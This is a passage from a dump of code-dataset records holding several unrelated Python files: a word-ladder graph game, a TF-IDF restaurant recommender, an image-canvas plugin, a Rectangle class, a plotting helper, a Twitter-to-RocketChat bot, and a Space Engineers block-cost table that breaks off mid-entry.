runTrial(wordGraph)\n\n\ndef createGraph(vertexDict, lines):\n #initialize graph of words\n wordGraph = {}\n\n #initialize empty 2d list of empty lists to store past\n # words put in the graph. The dimensions representing\n # every possible letter, and each letter position in\n # a word\n pastWordList = [[[] for x in range(5)] for y in range(26)]\n\n #iterate through every line in the input file\n for line in lines:\n #split by words\n l = line.split(\"\\n\")\n words = l[0].split(\" \")\n\n #iterate through every word in file\n for word in words:\n #if it's an actual word\n if len(word) > 0 and word != \"\\n\":\n #see if it's in our dictionary of vertices\n try:\n vertexDict[word]\n except:\n #if not, add it\n vertexDict[word] = Vertex(word)\n #initialize an empty list to stor current word's neighbors\n neighborList = []\n\n #initialize dictionary used to keep track of similarly spelled\n # words\n pastWords = {}\n\n #iterate through every character in word\n for c in range(len(word)):\n #get value of letter in order to access correct 2d list pos\n letterPos = (ord(word[c]) % 26)\n\n #check every word that has had a letter in the same position\n for pst in pastWordList[letterPos][c]:\n\n try:\n #if we've run into this word before, increment counter\n occur = pastWords[pst] + 1\n pastWords[pst] = occur\n #if we've run into the word 3 times, they differ by at\n # most 2 letters\n if occur == 3:\n #Add vertex to dictionary\n pVert = vertexDict[pst]\n #calculate score for difference between words\n missScore = getMissScore(word, pVert.getWord(), len(word))\n\n #store the word in neighborlist and add back\n vertexDict[pst].setKey(missScore)\n neighborList.append(vertexDict[pst])\n wordGraph[pst].append(vertexDict[word])\n except KeyError:\n #if not, add it to pastWords and intialize to 1\n pastWords[pst] = 1\n\n #Add word to the list in that given letter/pos slot\n pastWordList[letterPos][c].append(word)\n\n try:\n #if word already in wordgraph, append\n wordGraph[word].append(neighborList)\n except KeyError:\n #if not, initialize\n wordGraph[word] = neighborList\n\n #return wordGraph\n return wordGraph\n\n\ndef getMissScore(w1, w2, wLen):\n #initialize score to 0\n missScore = 0\n\n #count the number of letters differing between\n # The two words\n for i in range(wLen):\n if w1[i] != w2[i]:\n missScore = missScore + 1\n\n #return an appropriate score based off of differences\n if missScore == 2:\n return 5\n elif missScore == 1:\n return 1\n elif missScore == 0:\n return 0\n else:\n return -1\n\n\ndef runTrial(wordGraph):\n #asks the user to input word to check\n try:\n userWord = input(\"Please enter a five-letter word to check: \")\n\n #makes sure word is in consistent case\n userWord = userWord.upper()\n\n if len(userWord) != 5:\n raise ValueError(\"Whoops! Didn't enter a five letter word!\")\n else:\n print()\n\n #Test to see if user word in the neighbor list\n try:\n neighborList = wordGraph[userWord]\n\n print(\"The neighbors of \"+userWord+\" are:\")\n numTotal = 0\n\n for v in neighborList:\n A = [[-1 for x in range(4)] for x in range(4)]\n #score = LCS_len(userWord, v.getWord(), A)\n score = getMissScore(userWord, v.getWord(), 5)\n\n if numTotal % 6 == 0:\n print()\n print(v.getWord() + \" (\" + str(score) + \") \", end = \" \")\n numTotal = numTotal + 1\n\n except KeyError:\n print(userWord + \" is not in the graph!\")\n return 1\n\n #if incorrect length, it is caught\n except ValueError as err:\n print(err.args)\n return 1\n\n ### ----Ask User If they desire to do another trial---- ###\n doTrial = input(\"\\nDo you wish to complete another trial? (Y/Yes, N/No) \")\n doTrial = doTrial.upper()\n #print(doTrial)\n\n if doTrial == \"Y\" or doTrial == \"YES\":\n return 1\n elif doTrial == \"N\" or doTrial == \"NO\":\n return 0\n else:\n print(\"Sorry, that is not a valid input\")\n\ndef dijkstra(adjGraph, root):\n #initialize all vertices\n for word in adjGraph:\n vertexDict[word].setKey(float('inf'))\n vertexDict[word].setPredecessor(None)\n\n #initialize the root to 0\n vertexDict[root].setKey(0)\n #INITIALIZE HEAP (PRIORITY QUEUE)\n priorityHeap = Heap()\n for v in vertexDict:\n priorityHeap.insert(vertexDict[v])\n\n #While priority queue is not empty\n while priorityHeap.getHeapsize() > 0:\n #remove min of heap\n u = priorityHeap.removeMin()\n\n #iterate through the adjacency list of u\n for v in adjGraph[u.getWord()]:\n\n uKey = vertexDict[u.getWord()].getKey() + weight(u,v)\n\n #relax the graph\n if uKey < vertexDict[v.getWord()].getKey():\n vertexDict[v.getWord()].setPredecessor(vertexDict[u.getWord()])\n\n vertexDict[v.getWord()].setKey(uKey)\n priorityHeap.heapifyUp(vertexDict[v.getWord()].getHandle())\n\n\n return priorityHeap\n\ndef runGameTrial(wordGraph):\n #Ask for both input words to find a path between them\n rootWord = input(\"\\nEnter the first five-letter word: \").upper()\n checkWord = input(\"\\nEnter the second five-letter word: \").upper()\n\n #find and print path and best score\n if(findPath(wordGraph, rootWord, checkWord)):\n return 1\n\n ### ----Ask User If they desire to do another trial---- ###\n doTrial = input(\"\\nDo you wish to complete another trial? (Y/Yes, N/No) \")\n doTrial = doTrial.upper()\n #print(doTrial)\n\n if doTrial == \"Y\" or doTrial == \"YES\":\n return 1\n elif doTrial == \"N\" or doTrial == \"NO\":\n return 0\n else:\n print(\"Sorry, that is not a valid input\")\n\n\ndef findPath(wordGraph, word1, word2):\n\n #Check to see both words are in the graph!\n try:\n vertexDict[word1]\n except KeyError:\n print(\"WHOOPS! - \" + word1 + \" isn't in the graph!\")\n return 1\n\n try:\n vertexDict[word2]\n except KeyError:\n print(\"WHOOPS! - \" + word2 + \" isn't in the graph!\")\n return 1\n\n #First call dijkstra making word1 as root\n dijkstra(wordGraph, word1)\n #Now all adjacencies should be correct\n\n #Get the vertex for word2 and store it's distance score\n curVertex = vertexDict[word2]\n bestScore = curVertex.getKey()\n\n print(\"The best score for \" + word1 + \" to \" + word2 + \" is \" + str(bestScore) + \" points.\")\n\n #initialize pathString to keep track of words in path\n pathString = \"\"\n\n #While we haven't reached the end of the path, store current word and go to next\n while(curVertex != None):\n pathString = curVertex.getWord() + \" \" + pathString\n\n curVertex = curVertex.getPredecessor()\n\n print(\"\\n\\t\"+pathString)\n\n return 0\n\n\ndef weight(u, v):\n #return the weight of the two words (obtained via getting the miss score)\n return getMissScore(vertexDict[u.getWord()].getWord(), vertexDict[v.getWord()].getWord(), len(v.getWord()))\n\n\nclass Vertex:\n \"\"\"Vertex Class\"\"\"\n\n def __init__(self, word):\n self.key = -1\n self.handle = -1\n self.predecessor = None\n self.word = word\n\n\n def getPredecessor(self):\n return self.predecessor\n\n def setPredecessor(self, pred):\n self.predecessor = pred\n\n def getHandle(self):\n return self.handle\n\n def setHandle(self, handle):\n self.handle = handle\n\n def setKey(self, key):\n self.key = key\n\n def getKey(self):\n return self.key\n\n def getWord(self):\n return self.word\n\n def __str__(self):\n return \"(\" + self.word + \": KEY[\" + str(self.key) + \"] HANDLE[\" + str(self.handle) + \"])\"\n\n def __repr__(self):\n return self.__str__()\n\nmain()\n","repo_name":"hkwan11/WordGameProject","sub_path":"wordgame.py","file_name":"wordgame.py","file_ext":"py","file_size_in_byte":9824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74794787630","text":"#4. MODELING\n#CONTENT BASED RECOMMENDATION\nimport pickle\nimport string\nimport pandas as pd\nimport nltk\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import linear_kernel\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.corpus import stopwords\n\nfiltered_restaurant_df = pd.read_csv('C:/Users/omben/Desktop/Projects/Restaurant-Recommender-System/main/restaurants.csv')\n\nprice_map = {\n 'low':('everybody', 'no-expense', 'accomodating', 'inexpensive', 'cheap', 'ample', 'rock-bottom'),\n 'popular-eats': ('low-price', 'low-cost', 'economical', 'economic', 'modest'),\n 'mid-range': ('moderate', 'fair', 'mid-price', 'reasonable', 'average'),\n 'pricey-dining': ('expensive', 'fancy', 'lavish', 'fine', 'extravagant')\n}\n\nconstituents_list = ['New York',\n ' Manhattan',\n ' Long Island City',\n ' Jersey City',\n ' Sunnyside',\n ' Brooklyn',\n ' Ridgewood',\n ' New York',\n ' Woodside']\n\nlemmatizer = WordNetLemmatizer()\nstop_words = set(stopwords.words('english'))\ndef process_sentences(text):\n temp_sent =[]\n\n # Tokenize words\n words = nltk.word_tokenize(text)\n\n # Lemmatize each of the words based on their position in the sentence\n tags = nltk.pos_tag(words)\n for i, word in enumerate(words):\n # only verbs\n if tags[i][1] in ('VB', 'VBD', 'VBG', 'VBN', 'VBP', 'VBZ'):\n lemmatized = lemmatizer.lemmatize(word, 'v')\n else:\n lemmatized = lemmatizer.lemmatize(word)\n\n # Remove stop words and non alphabet tokens\n if lemmatized not in stop_words and lemmatized.isalpha():\n temp_sent.append(lemmatized)\n\n # Some other clean-up\n full_sentence = ' '.join(temp_sent)\n full_sentence = full_sentence.replace(\"n't\", \" not\")\n full_sentence = full_sentence.replace(\"'m\", \" am\")\n full_sentence = full_sentence.replace(\"'s\", \" is\")\n full_sentence = full_sentence.replace(\"'re\", \" are\")\n full_sentence = full_sentence.replace(\"'ll\", \" will\")\n full_sentence = full_sentence.replace(\"'ve\", \" have\")\n full_sentence = full_sentence.replace(\"'d\", \" would\")\n return full_sentence\n\n\ndef contentB_recommend(description):\n # Convert user input to lowercase\n description = str(description)\n description = description.lower()\n\n data = filtered_restaurant_df.copy()\n\n # Extract cities\n constituents_input = []\n for const in constituents_list:\n if const in description:\n constituents_input.append(const)\n description = description.replace(str(const), \"\")\n\n if constituents_input:\n data = data[data['location'].isin(constituents_input)]\n\n # Extract price class\n for key, value in price_map.items():\n if any(v in description for v in value):\n data = data[data['price'] == key]\n break\n\n # Process user description text input\n description = process_sentences(description)\n description = description.strip()\n print('Processed user feedback:', description)\n\n # Init a TF-IDF vectorizer\n tfidfvec = TfidfVectorizer()\n\n # Fit data on processed reviews\n vec = tfidfvec.fit(data[\"bogs\"])\n features = vec.transform(data[\"bogs\"])\n\n # Transform user input data based on fitted model\n description_vector = vec.transform([description])\n\n # Calculate cosine similarities between users processed input and reviews\n cos_sim = linear_kernel(description_vector, features)\n\n # Add similarities to data frame\n data['similarity'] = cos_sim[0]\n\n # Sort data frame by similarities\n data.sort_values(by='similarity', ascending=False, inplace=True)\n\n results = data[['name', 'rating', 'location', 'price', 'cuisine', 'transactions', 'comments', 'similarity', 'id', 'num_id']]\n\n return results.head(10)\n\n# dump of the search engine\nwith open('contentB.pkl', 'wb') as file:\n pickle.dump(contentB_recommend, file)\n\n","repo_name":"FarajaOmbeni/Restaurant-Recommender-System","sub_path":"main/contentB.py","file_name":"contentB.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71225542831","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 11 23:43:44 2016\n@author: yxl\n\"\"\"\nfrom sciapp.action import Simple\nimport numpy as np\n\ndef make_slice(a, b, mode=1):\n aa, bb = sorted([a, b])\n if mode == 0: sb = slice(0, aa)\n if mode == 1: sb = slice((bb-aa)//2, (bb-aa)//2+aa)\n if mode == 2: sb = slice(bb-aa, bb)\n return (slice(None), sb)[::(-1,1)[a1)]\n if ips.isarray: buf = np.zeros(shp, dtype=ips.dtype)\n else: buf = [np.zeros(shp[1:], dtype=ips.dtype) for i in range(shp[0])]\n\n for i in range(ips.slices):\n self.progress(i, ips.slices)\n buf[i][nr_sli, nc_sli] = imgs[i][or_sli, oc_sli]\n ips.set_imgs(buf)","repo_name":"Image-Py/imagepy","sub_path":"imagepy/menus/Image/canvassize_plg.py","file_name":"canvassize_plg.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":1265,"dataset":"github-code","pt":"38"} +{"seq_id":"21154620887","text":"#!/usr/bin/python3\n\"\"\"Defines the Rectangle class.\"\"\"\n\nfrom models.base import Base\n\nclass Rectangle(Base):\n \"\"\"Represent a rectangle.\"\"\"\n\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\"Initialize a new Rectangle.\n\n Args:\n width (int): The width of the rectangle.\n height (int): The height of the rectangle.\n x (int): The x-coordinate of the rectangle.\n y (int): The y-coordinate of the rectangle.\n id (int): The identity of the rectangle.\n \"\"\"\n super().__init__(id)\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n\n @property\n def width(self):\n \"\"\"Get or set the width of the rectangle.\"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\"Set the width of the rectangle.\"\"\"\n if type(value) is not int:\n raise TypeError(\"width must be an integer\")\n if value <= 0:\n raise ValueError(\"width must be > 0\")\n self.__width = value\n\n @property\n def height(self):\n \"\"\"Get or set the height of the rectangle.\"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\"Set the height of the rectangle.\"\"\"\n if type(value) is not int:\n raise TypeError(\"height must be an integer\")\n if value <= 0:\n raise ValueError(\"height must be > 0\")\n self.__height = value\n\n @property\n def x(self):\n \"\"\"Get or set the x-coordinate of the rectangle.\"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\"Set the x-coordinate of the rectangle.\"\"\"\n if type(value) is not int:\n raise TypeError(\"x must be an integer\")\n if value < 0:\n raise ValueError(\"x must be >= 0\")\n self.__x = value\n\n @property\n def y(self):\n \"\"\"Get or set the y-coordinate of the rectangle.\"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n \"\"\"Set the y-coordinate of the rectangle.\"\"\"\n if type(value) is not int:\n raise TypeError(\"y must be an integer\")\n if value < 0:\n raise ValueError(\"y must be >= 0\")\n self.__y = value\n\n def area(self):\n \"\"\"Return the area of the rectangle.\"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\"Print the rectangle using the # character.\"\"\"\n for _ in range(self.y):\n print()\n for _ in range(self.height):\n print(\" \" * self.x + \"#\" * self.width)\n \n def update(self, *args, **kwargs):\n \"\"\"Assign arguments to attributes in order: id, width, height, x, y.\"\"\"\n if args:\n self.id = args[0] if len(args) > 0 else self.id\n self.width = args[1] if len(args) > 1 else self.width\n self.height = args[2] if len(args) > 2 else self.height\n self.x = args[3] if len(args) > 3 else self.x\n self.y = args[4] if len(args) > 4 else self.y\n elif kwargs:\n self.id = int(kwargs.get('id', self.id))\n self.width = int(kwargs.get('width', self.width))\n self.height = int(kwargs.get('height', self.height))\n self.x = int(kwargs.get('x', self.x))\n self.y = int(kwargs.get('y', self.y))\n\n if not isinstance(self.width, int) or self.width <= 0:\n raise ValueError(\"width must be a positive integer\")\n if not isinstance(self.height, int) or self.height <= 0:\n raise ValueError(\"height must be a positive integer\")\n if not isinstance(self.x, int) or self.x < 0:\n raise ValueError(\"x must be a non-negative integer\")\n if not isinstance(self.y, int) or self.y < 0:\n raise ValueError(\"y must be a non-negative integer\")\n\n def __str__(self):\n \"\"\"Return a string representation of the rectangle.\"\"\"\n return \"[Rectangle] ({}) {}/{} - {}/{}\".format(\n self.id, self.x, self.y, self.width, self.height)\n\n def to_dictionary(self):\n \"\"\"Return a dictionary representation of the rectangle.\"\"\"\n return {\n 'id': self.id,\n 'width': self.width,\n 'height': self.height,\n 'x': self.x,\n 'y': self.y\n }\n","repo_name":"GaboJohn/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23899588433","text":"import numpy as np\nfrom plotly import figure_factory as ff\nfrom plotly import graph_objects as go\n\n\nclass Homework4Plotter:\n def __init__(self, df, response):\n self.df = df\n self.response = response\n\n def bool_response_cont_predictor_plots(self, predictor):\n # Distribution Plot\n responses = self.df[self.response].unique()\n response1 = responses[0]\n response2 = responses[1]\n\n response1_predictor = self.df[self.df[self.response] == response1][\n predictor\n ].dropna()\n response2_predictor = self.df[self.df[self.response] == response2][\n predictor\n ].dropna()\n\n hist_data = [response1_predictor, response2_predictor]\n group_labels = [\n \"Response = {}\".format(response1),\n \"Response = {}\".format(response2),\n ]\n\n fig1 = ff.create_distplot(hist_data, group_labels)\n fig1.update_layout(\n title=\"{} v. {}: Distribution Plot\".format(predictor, self.response),\n xaxis_title=predictor,\n yaxis_title=\"Distribution\",\n )\n\n # Violin Plot\n fig2 = go.Figure()\n for curr_hist, curr_group in zip(hist_data, group_labels):\n fig2.add_trace(\n go.Violin(\n x=np.repeat(curr_group, len(curr_hist)),\n y=curr_hist,\n name=curr_group,\n box_visible=True,\n meanline_visible=True,\n )\n )\n\n fig2.update_layout(\n title=\"{} vs. {}: Violin Plot\".format(predictor, self.response),\n xaxis_title=self.response,\n yaxis_title=predictor,\n )\n fig1.write_html(f\"final/hw4_output/figs/{predictor}_distribution_plot.html\")\n fig2.write_html(f\"final/hw4_output/figs/{predictor}_violin_plot.html\")\n","repo_name":"norenstein8390/BDA602","sub_path":"src/homework5/homework4_plots.py","file_name":"homework4_plots.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"37395651835","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nfrom rocketchat.api import RocketChatAPI\nfrom time import sleep\nfrom twitter_rocketchat_bot.lib.tweet import (TwitterAdapter, TooManyRequestedTweets)\nimport yaml\nimport logging\nFORMAT = '%(asctime)s - %(levelname)s - %(message)s'\nlogging.basicConfig(format=FORMAT)\nlogger = logging.getLogger('twitter_rocketchat_bot')\nlogger.setLevel(logging.DEBUG)\nclass JsonRemembers(object):\n \"\"\"\n track previous tweets to prevent spamming a channel\n \"\"\"\n def __init__(self, handle, dbname=\"/opt/twitter_rocketchat_bot.index\"):\n self.twitterhandle = str(handle) # twitter handle\n self.index_name = dbname\n\n def exists(self, id):\n \"\"\"\n returns true if a tweet exists in the index\n \"\"\"\n index = self.load()\n if not self.twitterhandle in index:\n index[self.twitterhandle] = []\n self.save(index)\n return False\n elif id in index[self.twitterhandle]:\n return True\n else:\n return False\n\n def add(self, id):\n \"\"\"\n adds a tweet id to the index\n \"\"\"\n index = self.load()\n if id not in index[self.twitterhandle]:\n index[self.twitterhandle].append(id)\n self.save(index)\n\n def load(self):\n \"\"\"\n loads the tweet index\n \"\"\"\n try:\n with open(self.index_name) as f:\n return json.load(f)\n except:\n logger.info(\"Error, db does not exist, resetting db\")\n self.save({})\n return self.load()\n\n def save(self, data):\n \"\"\"\n saves the index\n \"\"\"\n with open(self.index_name, 'w') as outfile:\n json.dump(data, outfile)\n\nclass BadConfigFile(Exception):\n \"\"\"\n raise when the configuration is not parsable\n \"\"\"\n pass\n\nclass Configuration(object):\n \"\"\"\n parse yaml config\n \"\"\"\n def __init__(self, config=None):\n filename = 'twitter_rocketchat_bot.conf'\n with open(filename) as f:\n self.config = yaml.load(f)\n self.validate()\n\n def validate(self):\n \"\"\"\n validates configuration format as best as we can\n \"\"\"\n # read_interval\n try:\n self.config['read_interval']\n except:\n raise BadConfigFile(\"{}: missing value read_interval\".format(filename))\n exit(1)\n if type(self.config['read_interval']) is not int:\n raise BadConfigFile(\"{}: read_interval must be int()\".format(filename))\n exit(1)\n # at least 1 server\n # at least 1 room\n # at least 1 account\n # validate all id fields are integers\n # server\n # room\n # account\n\n @property\n def interval(self):\n \"\"\"\n return list of twitter handles\n \"\"\"\n return self.config['read_interval']\n\n @property\n def twitter_handles(self):\n \"\"\"\n return list of twitter handles\n \"\"\"\n handles = []\n for handle in self.config['twitter_watch']:\n handles.append(handle['handle'])\n return handles\n\n def get_rooms(self, hindex):\n \"\"\"\n return list of room names for handle\n \"\"\"\n roomids = self.config['twitter_watch'][hindex]['roomId']\n if type(roomids) is list:\n pass\n else:\n roomids = roomids.split(',')\n rooms = []\n for roomid in roomids:\n room = self.config['rooms'][roomid]['name']\n rooms.append(room)\n return rooms\n\n def get_server(self, hindex):\n \"\"\"\n return list of servers for handle\n \"\"\"\n serverid = self.config['twitter_watch'][hindex]['serverId']\n return self.config['servers'][serverid]['url']\n\n def get_account(self, hindex):\n \"\"\"\n return list of account creds for handle\n \"\"\"\n accountid = int(self.config['twitter_watch'][hindex]['accountId'])\n return (self.config['accounts'][accountid]['user'], self.config['accounts'][accountid]['pass'])\n\ndef transform(tweet):\n \"\"\"\n change a tweet text post process\n \"\"\"\n tweet = tweet.replace(\"pic.twitter.com\", \" https://pic.twitter.com\")\n return tweet\n\ndef loop():\n \"\"\"\n trigger loop\n \"\"\"\n while True:\n \"\"\"\n one infinite loop\n \"\"\"\n conf = Configuration()\n for handle in conf.twitter_handles:\n hindex = conf.twitter_handles.index(handle)\n username, password = conf.get_account(hindex)\n url = conf.get_server(hindex)\n chat = RocketChatAPI(\n settings={\n 'username': username,\n 'password': password,\n 'domain': url\n }\n )\n\n twits = TwitterAdapter(handle, 10)\n twit_feed = twits.dict\n for tweet in twit_feed:\n text = tweet['text']\n id = tweet['tweetId']\n\n jindex = JsonRemembers(handle)\n if not jindex.exists(id):\n logger.info(\"id {} by {} sent\".format(id, handle))\n for channel in conf.get_rooms(hindex):\n try:\n text = transform(text)\n chat.send_message(text, channel)\n except json.decoder.JSONDecodeError:\n logger.info(\"Could not read server response, bad server url?\")\n jindex.add(id)\n else:\n logger.info(\"id {} by {} already sent\".format(id, handle))\n\n logger.info(\"Sleeping {} seconds\".format(conf.interval * 60))\n sleep(conf.interval * 60)\n\nif __name__ == '__main__':\n loop()\n","repo_name":"jondkelley/twitter_rocketchat_bot","sub_path":"twitter_rocketchat_bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15344331175","text":"parts = {\"LargeBlockArmorBlock\": {\"steel_plate\": 25},\n \"SmallBlockArmorBlock\": {\"steel_plate\": 1},\n \"LargeBlockArmorSlope\": {\"steel_plate\": 13},\n \"SmallBlockArmorSlope\": {\"steel_plate\": 1},\n \"LargeBlockArmorCorner\": {\"steel_plate\": 4},\n \"SmallBlockArmorCorner\": {\"steel_plate\": 1},\n \"LargeBlockArmorCornerInv\": {\"steel_plate\": 21},\n \"SmallBlockArmorCornerInv\": {\"steel_plate\": 1},\n \"LargeHeavyBlockArmorBlock\": {\"steel_plate\": 150},\n \"SmallHeavyBlockArmorBlock\": {\"steel_plate\": 5},\n \"LargeHeavyBlockArmorSlope\": {\"steel_plate\": 75},\n \"SmallHeavyBlockArmorSlope\": {\"steel_plate\": 5},\n \"LargeHeavyBlockArmorCorner\": {\"steel_plate\": 25},\n \"SmallHeavyBlockArmorCorner\": {\"steel_plate\": 5},\n \"LargeHeavyBlockArmorCornerInv\": {\"steel_plate\": 125},\n \"SmallHeavyBlockArmorCornerInv\": {\"steel_plate\": 5},\n \"LargeBlockSmallGenerator\": {\"steel_plate\": 80, \"motor\": 6, \"reactor_comp\": 100, \"metal_grid\": 4, \"computer\": 25, \"construction_comp\": 40},\n \"SmallBlockSmallGenerator\": {\"steel_plate\": 2, \"motor\": 1, \"reactor_comp\": 1, \"computer\": 10, \"construction_comp\": 1},\n \"LargeBlockLargeGenerator\": {\"steel_plate\": 1000, \"motor\": 20, \"reactor_comp\": 2000, \"large_tube\": 40, \"metal_grid\": 40, \"computer\": 75, \"construction_comp\": 70},\n \"SmallBlockLargeGenerator\": {\"steel_plate\": 69, \"motor\": 5, \"reactor_comp\": 50, \"large_tube\": 3, \"metal_grid\": 9, \"computer\": 25, \"construction_comp\": 9},\n \"LargeBlockBeacon\": {\"steel_plate\": 80, \"small_tube\": 60, \"large_tube\": 40, \"computer\": 8, \"construction_comp\": 30, \"radio_comp\": 40},\n \"SmallBlockBeacon\": {\"steel_plate\": 1, \"small_tube\": 1, \"computer\": 1, \"construction_comp\": 1},\n \"SmallBlockDrill\": {\"steel_plate\": 22, \"motor\": 1, \"large_tube\": 4, \"computer\": 1, \"construction_comp\": 8},\n \"LargeBlockInteriorWall\": {\"interior_plate\": 22, \"construction_comp\": 10},\n \"LargeBlockGravityGenerator\": {\"steel_plate\": 150, \"motor\": 6, \"gravity_comp\": 6, \"large_tube\": 4, \"computer\": 40, \"construction_comp\": 60},\n \"LargeRamp\": {\"small_tube\": 50, \"interior_plate\": 50, \"metal_grid\": 24, \"construction_comp\": 16},\n \"LargeRotor\": {}, # Rotor, the part of the motor that is moving, therefore no cost\n \"LargeStator\": {\"steel_plate\": 15, \"motor\": 4, \"large_tube\": 4, \"computer\": 2, \"construction_comp\": 10}, # Stator is the stationary block, the Rotor \"base\"\n \"LargeBlockDoor\": {\"steel_plate\": 8, \"small_tube\": 4, \"motor\": 2, \"interior_plate\": 10, \"metal_grid\": 4, \"computer\": 2, \"display\": 1, \"construction_comp\": 10},\n \"LargeBlockPassage\": {\"interior_plate\": 74, \"metal_grid\": 18, \"construction_comp\": 20},\n \"LargeRefinery\": {\"steel_plate\": 1200, \"motor\": 12, \"large_tube\": 20, \"computer\": 20, \"construction_comp\": 40},\n \"LargeAssembler\": {\"steel_plate\": 150, \"small_tube\": 12, \"motor\": 8, \"computer\": 80, \"display\": 4, \"construction_comp\": 40},\n \"LargeMedicalRoom\": {\"steel_plate\": 20, \"interior_plate\": 235, \"large_tube\": 5, \"metal_grid\": 80, \"display\": 10, \"construction_comp\": 80, \"medical_comp\": 15},\n \"LargeBlockSolarPanel\": {\"steel_plate\": 4, \"large_tube\": 1, \"solar_cell\": 64, \"metal_grid\": 5, \"computer\": 2, \"construction_comp\": 7},\n \"SmallBlockSolarPanel\": {\"steel_plate\": 1, \"small_tube\": 1, \"solar_cell\": 16, \"metal_grid\": 2, \"computer\": 1, \"construction_comp\": 2},\n \"LargeGatlingTurret\": {\"steel_plate\": 20, \"small_tube\": 6, \"motor\": 8, \"large_tube\": 1, \"computer\": 10, \"construction_comp\": 30},\n \"SmallGatlingGun\": {\"steel_plate\": 4, \"small_tube\": 3, \"motor\": 1, \"computer\": 1},\n \"LargeMissileLauncher\": {},\n \"SmallMissileLauncher\": {\"steel_plate\": 4, \"motor\": 1, \"large_tube\": 4, \"computer\": 1, \"construction_comp\": 2},\n \"LargeMissileTurret\": {\"steel_plate\": 20, \"motor\": 16, \"large_tube\": 6, \"computer\": 12, \"construction_comp\": 40},\n \"LargeInteriorTurret\": {\"steel_plate\": 10, \"small_tube\": 2, \"motor\": 2, \"large_tube\": 1, \"display\": 5, \"construction_comp\": 20},\n \"LargeDecoy\": {},\n \"SmallDecoy\": {},\n \"LargeWarhead\": {\"steel_plate\": 10, \"small_tube\": 12, \"girder\": 25, \"explosives\": 6, \"computer\": 2, \"bulletproof_glass\": 24, \"construction_comp\": 12},\n \"SmallWarhead\": {\"small_tube\": 2, \"girder\": 1, \"explosives\": 2, \"computer\": 1, \"construction_comp\": 1},\n \"LargeBlockConveyor\": {\"small_tube\": 50, \"motor\": 2, \"interior_plate\": 50, \"computer\": 5, \"construction_comp\": 100},\n \"SmallBlockConveyor\": {\"small_tube\": 1, \"motor\": 1, \"interior_plate\": 1, \"large_tube\": 1, \"computer\": 2, \"construction_comp\": 2},\n \"ConveyorTube\": {\"steel_plate\": 20, \"small_tube\": 12, \"motor\": 8, \"bulletproof_glass\": 30, \"construction_comp\": 40},\n \"ConveyorTubeSmall\": {\"steel_plate\": 7, \"small_tube\": 2, \"motor\": 1, \"construction_comp\": 4},\n \"Connector\": {\"steel_plate\": 150, \"small_tube\": 12, \"motor\": 8, \"computer\": 20, \"display\": 4, \"construction_comp\": 40},\n \"ConnectorSmall\": {\"steel_plate\": 5, \"small_tube\": 2, \"motor\": 1, \"computer\": 4, \"display\": 1, \"construction_comp\": 4},\n \"Collector\": {\"steel_plate\": 45, \"small_tube\": 12, \"motor\": 8, \"computer\": 10, \"display\": 4, \"construction_comp\": 50},\n \"CollectorSmall\": {\"steel_plate\": 30, \"small_tube\": 10, \"motor\": 6, \"computer\": 8, \"display\": 2, \"construction_comp\": 35},\n \"LargeBlockSmallThrust\": {\"steel_plate\": 25, \"thruster_component\": 80, \"large_tube\": 8, \"computer\": 20, \"construction_comp\": 40},\n \"SmallBlockSmallThrust\": {\"steel_plate\": 1, \"thruster_component\": 1, \"large_tube\": 1, \"construction_comp\": 1},\n \"LargeBlockLargeThrust\": {\"steel_plate\": 150, \"thruster_component\": 960, \"large_tube\": 40, \"computer\": 60, \"construction_comp\": 70},\n \"SmallBlockLargeThrust\": {\"steel_plate\": 1, \"thruster_component\": 12, \"interior_plate\": 4, \"large_tube\": 5, \"construction_comp\": 1},\n \"LargeBlockGyro\": {\"steel_plate\": 900, \"motor\": 2, \"large_tube\": 4, \"computer\": 20, \"construction_comp\": 40},\n \"SmallBlockGyro\": {\"steel_plate\": 25, \"motor\": 1, \"large_tube\": 1, \"computer\": 3},\n \"LargeSteelCatwalk\": {\"small_tube\": 25, \"interior_plate\": 2, \"metal_grid\": 25, \"construction_comp\": 5},\n \"LargeInteriorPillar\": {\"interior_plate\": 20, \"metal_grid\": 6, \"construction_comp\": 6},\n \"LargeStairs\": {\"small_tube\": 82, \"metal_grid\": 52, \"construction_comp\": 20},\n \"SmallLight\": {\"construction_comp\": 1},\n \"LargeBlockLandingGear\": {\"steel_plate\": 150, \"motor\": 6, \"large_tube\": 4, \"construction_comp\": 10},\n \"SmallBlockLandingGear\": {\"steel_plate\": 1, \"motor\": 1, \"large_tube\": 1, \"construction_comp\": 1},\n \"LargeBlockFrontLight\": {\"steel_plate\": 6, \"interior_plate\": 20, \"large_tube\": 2, \"bulletproof_glass\": 2, \"construction_comp\": 20},\n \"SmallBlockFrontLight\": {\"steel_plate\": 1, \"interior_plate\": 1, \"construction_component\": 1},\n \"LargeBlockSmallContainer\": {\"small_tube\": 20, \"motor\": 2, \"interior_plate\": 40, \"computer\": 2, \"display\": 1, \"construction_comp\": 40},\n \"SmallBlockSmallContainer\": {\"motor\": 1, \"interior_plate\": 1, \"computer\": 1, \"display\": 1, \"construction_comp\": 1},\n \"SmallBlockMediumContainer\": 